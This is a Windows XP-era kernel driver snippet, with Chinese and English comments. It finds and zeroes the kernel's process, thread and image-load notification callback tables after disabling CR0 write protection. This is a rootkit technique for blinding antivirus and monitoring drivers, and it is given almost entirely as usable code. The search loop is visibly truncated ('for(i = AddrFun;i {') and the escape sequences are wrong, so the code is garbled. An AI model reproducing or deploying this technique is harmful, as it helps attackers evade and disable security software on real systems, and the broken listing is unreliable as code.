PspCreateProcessNotifyRoutine,PspCreateThreadNotifyRoutine,PspLoadImageNotifyRoutine表全部清空

RtlInitUnicodeString(&name,L"PsSetCreateProcessNotifyRoutine");
RemoveNotifyRoutine((PVOID)MmGetSystemRoutineAddress(&name));

RtlInitUnicodeString(&name,L"PsRemoveCreateThreadNotifyRoutine");
RemoveNotifyRoutine((PVOID)MmGetSystemRoutineAddress(&name));

RtlInitUnicodeString(&name,L"PsRemoveLoadImageNotifyRoutine");
RemoveNotifyRoutine((PVOID)MmGetSystemRoutineAddress(&name));

__declspec(naked) void DisableWPBitAndCli()
{
__asm
{
   cli
   mov     eax, cr0
   and     eax, 0xFFFEFFFF
   mov     cr0, eax
   retn
}
}

__declspec(naked) void EnableWPBitAndSti()
{
__asm
{
    mov eax, cr0
    or eax, 0x10000
    mov cr0, eax
    sti
    retn
}
}
NTSTATUS
MydrvDispatch (
      IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp
      )
{
Irp->IoStatus.Status = STATUS_SUCCESS;
Irp->IoStatus.Information = 0L;
IoCompleteRequest( Irp, 0 );
return Irp->IoStatus.Status;
}

/*
NTSTATUS RemoveNotifyRoutine(PVOID RemoveFunPointer)

can remove all of the Routine of CreateThread and CreateProcess and LoadImage
注意传入参数为下面三者之一
PsSetCreateProcessNotifyRoutine
PsRemoveCreateThreadNotifyRoutine
PsRemoveLoadImageNotifyRoutine
===========
by xp sp2
*/
NTSTATUS RemoveNotifyRoutine(PVOID RemoveFunPointer)
{
ULONG AddrFun;
ULONG* pRoutineList;
ULONG i;

pRoutineList = 0;
AddrFun = (ULONG)RemoveFunPointer;
DbgPrint("RemoveNotifyRoutine = %08X/n",RemoveFunPointer);
//
//the RemoveFunPointer could
//only be PsRemoveLoadImageNotifyRoutine
//or PsSetCreateProcessNotifyRoutine
//or PsRemoveCreateThreadNotifyRoutine
//find code bf 00975680      mov     edi,offset nt!PsThreadType+0x44 (80569700)
//
for(i = AddrFun;i {
   if( 0xbf == *(PBYTE)i )
   {
    i++;
    pRoutineList = (ULONG*)( *(ULONG*)i );
    break;

   }
}

if( 0 == pRoutineList)
{
   DbgPrint("Can not find the RoutineList/n");
   return STATUS_UNSUCCESSFUL;
}

if( TRUE != MmIsAddressValid((PVOID)pRoutineList) )// memory is valid
{
   DbgPrint("Access Memory is not Valid %08X/n",pRoutineList);
   return STATUS_UNSUCCESSFUL;
}

//
//Zero the PspCreateThreadNotifyRoutine;
//
DisableWPBitAndCli();
for(i=0;i<8;i++) //这里写成0x40也没有问题,我看他这个表应该长度为0x40,但网上说PspCreateProcessNotifyRoutine表长

度在win2K下为8,xp下为多少,我没有找到资料,懒得去分析代码找出他的长度
{
   //if( 0 == pRoutineList[i] )break;
   pRoutineList[i] = 0;//清空
}
EnableWPBitAndSti();

DbgPrint("RemoveNotifyRoutine STATUS_SUCCESS %08X/n",RemoveFunPointer);
return STATUS_SUCCESS;